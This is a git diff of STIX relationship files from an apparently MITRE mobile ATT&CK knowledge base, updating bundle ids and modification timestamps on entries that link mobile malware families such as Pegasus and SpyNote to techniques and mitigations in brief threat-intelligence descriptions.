diff --git a/mobile-attack/relationship/relationship--5012c647-9b58-4a4f-b64f-468c9b76a60c.json b/mobile-attack/relationship/relationship--5012c647-9b58-4a4f-b64f-468c9b76a60c.json
index 4311907c00..dd5b0ffa1e 100644
--- a/mobile-attack/relationship/relationship--5012c647-9b58-4a4f-b64f-468c9b76a60c.json
+++ b/mobile-attack/relationship/relationship--5012c647-9b58-4a4f-b64f-468c9b76a60c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ab2a832f-0443-4d5b-9bcc-7bb9d762be67",
+    "id": "bundle--5d5507cb-5a5a-43ab-b21c-2cc5ce7b0958",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5012c647-9b58-4a4f-b64f-468c9b76a60c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can view contacts.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
diff --git a/mobile-attack/relationship/relationship--50986206-ad56-4dea-baed-846545fb2f5a.json b/mobile-attack/relationship/relationship--50986206-ad56-4dea-baed-846545fb2f5a.json
index 763449607f..53cb400f4d 100644
--- a/mobile-attack/relationship/relationship--50986206-ad56-4dea-baed-846545fb2f5a.json
+++ b/mobile-attack/relationship/relationship--50986206-ad56-4dea-baed-846545fb2f5a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--db256002-465e-4541-87c7-e01fcd555ab0",
+    "id": "bundle--0a4ee68a-bd43-4231-a4d7-23f8c37a5b3b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--50986206-ad56-4dea-baed-846545fb2f5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--6683aa0c-d98a-4f5b-ac57-ca7e9934a760",
diff --git a/mobile-attack/relationship/relationship--51186ad6-e721-49cf-9cf7-89466d5f29f4.json b/mobile-attack/relationship/relationship--51186ad6-e721-49cf-9cf7-89466d5f29f4.json
index 93afeda9df..f4ecbe0028 100644
--- a/mobile-attack/relationship/relationship--51186ad6-e721-49cf-9cf7-89466d5f29f4.json
+++ b/mobile-attack/relationship/relationship--51186ad6-e721-49cf-9cf7-89466d5f29f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3471eaea-0543-4d06-8528-b3c45e6413b4",
+    "id": "bundle--447a4650-d619-47dd-aedb-27a14f9ff9c5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51186ad6-e721-49cf-9cf7-89466d5f29f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884",
diff --git a/mobile-attack/relationship/relationship--513c05e2-afc6-4d1b-8a8e-6d6935a8626f.json b/mobile-attack/relationship/relationship--513c05e2-afc6-4d1b-8a8e-6d6935a8626f.json
index 6f5d281f54..9be0970925 100644
--- a/mobile-attack/relationship/relationship--513c05e2-afc6-4d1b-8a8e-6d6935a8626f.json
+++ b/mobile-attack/relationship/relationship--513c05e2-afc6-4d1b-8a8e-6d6935a8626f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0713c4f2-d63a-4ef5-a1bf-b23338b98f87",
+    "id": "bundle--b3b34b71-2796-4e8a-a978-f06666dea044",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--513c05e2-afc6-4d1b-8a8e-6d6935a8626f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd",
diff --git a/mobile-attack/relationship/relationship--51757971-17ac-40c3-bae7-78365579db49.json b/mobile-attack/relationship/relationship--51757971-17ac-40c3-bae7-78365579db49.json
index d2955dc141..c571c558b7 100644
--- a/mobile-attack/relationship/relationship--51757971-17ac-40c3-bae7-78365579db49.json
+++ b/mobile-attack/relationship/relationship--51757971-17ac-40c3-bae7-78365579db49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4df30069-d681-43a2-825d-8a965fb03d66",
+    "id": "bundle--6ba6ebda-8d03-459c-bd71-da727fc8596f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--51757971-17ac-40c3-bae7-78365579db49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The OBAD Android malware family abuses device administrator access to make it more difficult for users to remove the application.",
             "source_ref": "malware--ca4f63b9-a358-4214-bb26-8c912318cfde",
diff --git a/mobile-attack/relationship/relationship--54151897-cc7e-4f92-af50-bed41ea78d92.json b/mobile-attack/relationship/relationship--54151897-cc7e-4f92-af50-bed41ea78d92.json
index 0a40f01027..3d438acb81 100644
--- a/mobile-attack/relationship/relationship--54151897-cc7e-4f92-af50-bed41ea78d92.json
+++ b/mobile-attack/relationship/relationship--54151897-cc7e-4f92-af50-bed41ea78d92.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5d0102b-036b-4caa-8b85-f34595a86805",
+    "id": "bundle--678385f7-cc0b-4d05-bdbd-52410c2a6ead",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--54151897-cc7e-4f92-af50-bed41ea78d92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan-SMS.AndroidOS.FakeInst.a uses Google Cloud Messaging (GCM) for command and control.",
             "source_ref": "malware--28e39395-91e7-4f02-b694-5e079c964da9",
diff --git a/mobile-attack/relationship/relationship--554ec347-c8b2-43da-876b-36608dcc543d.json b/mobile-attack/relationship/relationship--554ec347-c8b2-43da-876b-36608dcc543d.json
index 87fa04414d..4c8f665a9a 100644
--- a/mobile-attack/relationship/relationship--554ec347-c8b2-43da-876b-36608dcc543d.json
+++ b/mobile-attack/relationship/relationship--554ec347-c8b2-43da-876b-36608dcc543d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b2e53502-9ec8-4068-a59a-40e98bd264e0",
+    "id": "bundle--f891a04f-1d2a-4324-b44b-4d898fd8e006",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--554ec347-c8b2-43da-876b-36608dcc543d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd",
diff --git a/mobile-attack/relationship/relationship--55f12292-dc9d-4bfd-9de9-2d07cd67b044.json b/mobile-attack/relationship/relationship--55f12292-dc9d-4bfd-9de9-2d07cd67b044.json
index ef33c3acb3..686ab3c7d3 100644
--- a/mobile-attack/relationship/relationship--55f12292-dc9d-4bfd-9de9-2d07cd67b044.json
+++ b/mobile-attack/relationship/relationship--55f12292-dc9d-4bfd-9de9-2d07cd67b044.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5fd366a0-bd84-44df-afab-9eab8a097f8d",
+    "id": "bundle--de27ad5f-8892-4687-bf65-3d61a8813a9f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--55f12292-dc9d-4bfd-9de9-2d07cd67b044",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--2204c371-6100-4ae0-82f3-25c07c29772a",
diff --git a/mobile-attack/relationship/relationship--5a6df1dd-9aa4-4f67-9195-8c3a9f5c0f7a.json b/mobile-attack/relationship/relationship--5a6df1dd-9aa4-4f67-9195-8c3a9f5c0f7a.json
index 87c3b9481a..aca7205685 100644
--- a/mobile-attack/relationship/relationship--5a6df1dd-9aa4-4f67-9195-8c3a9f5c0f7a.json
+++ b/mobile-attack/relationship/relationship--5a6df1dd-9aa4-4f67-9195-8c3a9f5c0f7a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d10825e9-54dd-4e07-b52c-f2ddac4fd838",
+    "id": "bundle--391f9ace-8eb3-4514-9f27-3fbb88daa62d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5a6df1dd-9aa4-4f67-9195-8c3a9f5c0f7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MazarBOT can \"send messages to premium-rate numbers\".",
             "source_ref": "malware--5ddf81ea-2c06-497b-8c30-5f1ab89a40f9",
diff --git a/mobile-attack/relationship/relationship--5b14149e-09f1-4d38-82bc-0ff3cff8b650.json b/mobile-attack/relationship/relationship--5b14149e-09f1-4d38-82bc-0ff3cff8b650.json
index 535e96e838..4fad0a555c 100644
--- a/mobile-attack/relationship/relationship--5b14149e-09f1-4d38-82bc-0ff3cff8b650.json
+++ b/mobile-attack/relationship/relationship--5b14149e-09f1-4d38-82bc-0ff3cff8b650.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82b6d7bc-e059-4751-ba2a-fde8a6f7cd0c",
+    "id": "bundle--a0fc43c0-614d-49b5-991a-048b3ae2c475",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b14149e-09f1-4d38-82bc-0ff3cff8b650",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.744Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--198ce408-1470-45ee-b47f-7056050d4fc2",
diff --git a/mobile-attack/relationship/relationship--5b9a54cd-4925-4a2b-ad61-27d70e673093.json b/mobile-attack/relationship/relationship--5b9a54cd-4925-4a2b-ad61-27d70e673093.json
index 7701aa2596..df6deac238 100644
--- a/mobile-attack/relationship/relationship--5b9a54cd-4925-4a2b-ad61-27d70e673093.json
+++ b/mobile-attack/relationship/relationship--5b9a54cd-4925-4a2b-ad61-27d70e673093.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d74fe1ae-aebb-4e22-a07e-d1b3786bf6e1",
+    "id": "bundle--ad525a51-fffe-4cfe-b8c7-09e224e2532e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5b9a54cd-4925-4a2b-ad61-27d70e673093",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--77e30eee-fd48-40b4-99ec-73e97c158b58",
diff --git a/mobile-attack/relationship/relationship--5f6f5913-cade-4b14-aa96-5a921b0927a7.json b/mobile-attack/relationship/relationship--5f6f5913-cade-4b14-aa96-5a921b0927a7.json
index 22859d6fb2..ebbdcacb6f 100644
--- a/mobile-attack/relationship/relationship--5f6f5913-cade-4b14-aa96-5a921b0927a7.json
+++ b/mobile-attack/relationship/relationship--5f6f5913-cade-4b14-aa96-5a921b0927a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8fb606c0-1689-4708-b41c-3e6c17995b71",
+    "id": "bundle--83b88f4f-0882-4938-9648-b7c0fb7ac818",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5f6f5913-cade-4b14-aa96-5a921b0927a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.745Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--351c0927-2fc1-4a2c-ad84-cbbee7eb8172",
diff --git a/mobile-attack/relationship/relationship--5f82db63-d7c2-43c7-a056-3cf718201ced.json b/mobile-attack/relationship/relationship--5f82db63-d7c2-43c7-a056-3cf718201ced.json
index 17739f81a6..39bb726f0e 100644
--- a/mobile-attack/relationship/relationship--5f82db63-d7c2-43c7-a056-3cf718201ced.json
+++ b/mobile-attack/relationship/relationship--5f82db63-d7c2-43c7-a056-3cf718201ced.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--989777db-3605-449d-a5cb-6f6abd46c14c",
+    "id": "bundle--0a040cf6-1f82-4cbc-b913-5d862adcc7d1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5f82db63-d7c2-43c7-a056-3cf718201ced",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT included code from the legitimate Pokemon GO app in order to appear identical to the user, but it also included additional malicious code.",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
diff --git a/mobile-attack/relationship/relationship--6086e1e2-1b39-4ff2-910e-4a4eb86d57b7.json b/mobile-attack/relationship/relationship--6086e1e2-1b39-4ff2-910e-4a4eb86d57b7.json
index a3bec74a53..a66ba3b93c 100644
--- a/mobile-attack/relationship/relationship--6086e1e2-1b39-4ff2-910e-4a4eb86d57b7.json
+++ b/mobile-attack/relationship/relationship--6086e1e2-1b39-4ff2-910e-4a4eb86d57b7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a44159b1-f5d0-4b43-bbae-2a963c942e93",
+    "id": "bundle--6d7e534b-d46a-43bc-9f43-d9654c33bf51",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6086e1e2-1b39-4ff2-910e-4a4eb86d57b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BrainTest \"provided capabilities that allowed the developers to post positive reviews on their own malicious applications using compromised devices, which may explain why every sample we observed had a rating higher than 4.0\" and \"used infected devices to download other malicious applications they had submitted to the Play Store, which would inflate the number of downloads each application received.\"",
             "source_ref": "malware--e13d084c-382f-40fd-aa9a-98d69e20301e",
diff --git a/mobile-attack/relationship/relationship--62480750-2218-4ea0-b168-b9035b9ee998.json b/mobile-attack/relationship/relationship--62480750-2218-4ea0-b168-b9035b9ee998.json
index 5dd9f73a02..ea7f364164 100644
--- a/mobile-attack/relationship/relationship--62480750-2218-4ea0-b168-b9035b9ee998.json
+++ b/mobile-attack/relationship/relationship--62480750-2218-4ea0-b168-b9035b9ee998.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--76e1704d-35aa-4894-baa5-56ed6ff63ed1",
+    "id": "bundle--66fea81e-5c68-43ff-9dae-468e06175fc7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--62480750-2218-4ea0-b168-b9035b9ee998",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--f1c3d071-0c24-483d-aca0-e8b8496ce468",
diff --git a/mobile-attack/relationship/relationship--634e2691-341f-4e5b-83e7-e28369d88c64.json b/mobile-attack/relationship/relationship--634e2691-341f-4e5b-83e7-e28369d88c64.json
index 48ccc5e0da..943424d3c1 100644
--- a/mobile-attack/relationship/relationship--634e2691-341f-4e5b-83e7-e28369d88c64.json
+++ b/mobile-attack/relationship/relationship--634e2691-341f-4e5b-83e7-e28369d88c64.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f79e57bb-330f-4858-b905-73e585cbc1ab",
+    "id": "bundle--eea5d545-06e9-42f5-bc23-24e7b2b0a4af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--634e2691-341f-4e5b-83e7-e28369d88c64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f",
diff --git a/mobile-attack/relationship/relationship--638f3d4b-f1d4-4c61-91a0-7c125ef8437a.json b/mobile-attack/relationship/relationship--638f3d4b-f1d4-4c61-91a0-7c125ef8437a.json
index f97fa6a0ef..ae74686d3e 100644
--- a/mobile-attack/relationship/relationship--638f3d4b-f1d4-4c61-91a0-7c125ef8437a.json
+++ b/mobile-attack/relationship/relationship--638f3d4b-f1d4-4c61-91a0-7c125ef8437a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d9d5454f-9cab-485b-adad-42a988f45974",
+    "id": "bundle--4d21a310-7a11-492c-8a9e-51ac7c396bfe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--638f3d4b-f1d4-4c61-91a0-7c125ef8437a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus was distributed through a web site and exploits vulnerabilities in the Safari web browser on iOS devices.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--63e67cba-4eae-4495-8897-2610103a0c41.json b/mobile-attack/relationship/relationship--63e67cba-4eae-4495-8897-2610103a0c41.json
index ed67bd87c6..2b496d8ace 100644
--- a/mobile-attack/relationship/relationship--63e67cba-4eae-4495-8897-2610103a0c41.json
+++ b/mobile-attack/relationship/relationship--63e67cba-4eae-4495-8897-2610103a0c41.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fd6ff7e0-9917-42cc-a025-6ed845ee202a",
+    "id": "bundle--441f5ab5-c19d-4613-bbff-f0873319a9ec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--63e67cba-4eae-4495-8897-2610103a0c41",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus exploits iOS vulnerabilities to escalate privileges.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--6407562a-d297-43cd-95df-aec9cf501ce2.json b/mobile-attack/relationship/relationship--6407562a-d297-43cd-95df-aec9cf501ce2.json
index bd8ceaf468..7b8e08265a 100644
--- a/mobile-attack/relationship/relationship--6407562a-d297-43cd-95df-aec9cf501ce2.json
+++ b/mobile-attack/relationship/relationship--6407562a-d297-43cd-95df-aec9cf501ce2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8bd59120-12a7-4525-b79c-d89814a56b4e",
+    "id": "bundle--3db59025-0592-4a46-af9d-6b91970bd8e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6407562a-d297-43cd-95df-aec9cf501ce2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--3b0b604f-10db-41a0-b54c-493124d455b9",
diff --git a/mobile-attack/relationship/relationship--64a6fb42-65ce-4160-a5c8-ac176f60a2ae.json b/mobile-attack/relationship/relationship--64a6fb42-65ce-4160-a5c8-ac176f60a2ae.json
index 8b0f27cb4e..7615ebf31c 100644
--- a/mobile-attack/relationship/relationship--64a6fb42-65ce-4160-a5c8-ac176f60a2ae.json
+++ b/mobile-attack/relationship/relationship--64a6fb42-65ce-4160-a5c8-ac176f60a2ae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d797cee1-7b47-4fe7-b79b-359136be02e4",
+    "id": "bundle--22927ba0-81bf-4939-9d29-d550a4c93cd2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--64a6fb42-65ce-4160-a5c8-ac176f60a2ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a",
diff --git a/mobile-attack/relationship/relationship--68e5789c-9f60-421e-9c79-fae207a29e83.json b/mobile-attack/relationship/relationship--68e5789c-9f60-421e-9c79-fae207a29e83.json
index 4fa9bc2371..b4e6b56539 100644
--- a/mobile-attack/relationship/relationship--68e5789c-9f60-421e-9c79-fae207a29e83.json
+++ b/mobile-attack/relationship/relationship--68e5789c-9f60-421e-9c79-fae207a29e83.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0dfe73b0-a232-4782-91bf-da844df4ae61",
+    "id": "bundle--268dc6c9-cb44-4354-b8e0-b1b60c6c4cd3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--68e5789c-9f60-421e-9c79-fae207a29e83",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups stole SMS message content.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--690111d3-c281-4d55-a7ed-73b8dab72a85.json b/mobile-attack/relationship/relationship--690111d3-c281-4d55-a7ed-73b8dab72a85.json
index 362f998c63..b8581431bb 100644
--- a/mobile-attack/relationship/relationship--690111d3-c281-4d55-a7ed-73b8dab72a85.json
+++ b/mobile-attack/relationship/relationship--690111d3-c281-4d55-a7ed-73b8dab72a85.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2b798b92-f06e-4db3-9ef1-76d52958811e",
+    "id": "bundle--1bc82500-94cd-4843-b9ab-ef5e3c296015",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--690111d3-c281-4d55-a7ed-73b8dab72a85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34",
diff --git a/mobile-attack/relationship/relationship--69718f1d-7761-41ae-b9d0-12c45f6b4ac4.json b/mobile-attack/relationship/relationship--69718f1d-7761-41ae-b9d0-12c45f6b4ac4.json
index 56b121d98f..01720d02d3 100644
--- a/mobile-attack/relationship/relationship--69718f1d-7761-41ae-b9d0-12c45f6b4ac4.json
+++ b/mobile-attack/relationship/relationship--69718f1d-7761-41ae-b9d0-12c45f6b4ac4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec46dfde-10d3-4971-99c8-024a53e2a0d3",
+    "id": "bundle--008978e3-f5a7-4f4f-b71e-941027944c15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69718f1d-7761-41ae-b9d0-12c45f6b4ac4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus modifies the system partition to maintain persistence.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--69bb264a-3f44-4132-9248-dd80a9f5efa2.json b/mobile-attack/relationship/relationship--69bb264a-3f44-4132-9248-dd80a9f5efa2.json
index ff2204f39b..7836878414 100644
--- a/mobile-attack/relationship/relationship--69bb264a-3f44-4132-9248-dd80a9f5efa2.json
+++ b/mobile-attack/relationship/relationship--69bb264a-3f44-4132-9248-dd80a9f5efa2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f77e97f-8472-4086-b818-fe3b41c2e654",
+    "id": "bundle--f3c18125-c5ec-4cf9-be39-e1311d3e5b28",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69bb264a-3f44-4132-9248-dd80a9f5efa2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"asks for admin permissions\" and \"[i]f granted, the ransomware locks the device and displays a message demanding payment\".",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
diff --git a/mobile-attack/relationship/relationship--69bdeed3-d6a8-4d10-8bf5-44c6cb4392e5.json b/mobile-attack/relationship/relationship--69bdeed3-d6a8-4d10-8bf5-44c6cb4392e5.json
index 8968821cef..315a79f484 100644
--- a/mobile-attack/relationship/relationship--69bdeed3-d6a8-4d10-8bf5-44c6cb4392e5.json
+++ b/mobile-attack/relationship/relationship--69bdeed3-d6a8-4d10-8bf5-44c6cb4392e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79754538-71d5-41ce-8574-cf4115aba0b6",
+    "id": "bundle--7e946578-faca-42a8-b9c5-618536a50270",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--69bdeed3-d6a8-4d10-8bf5-44c6cb4392e5",
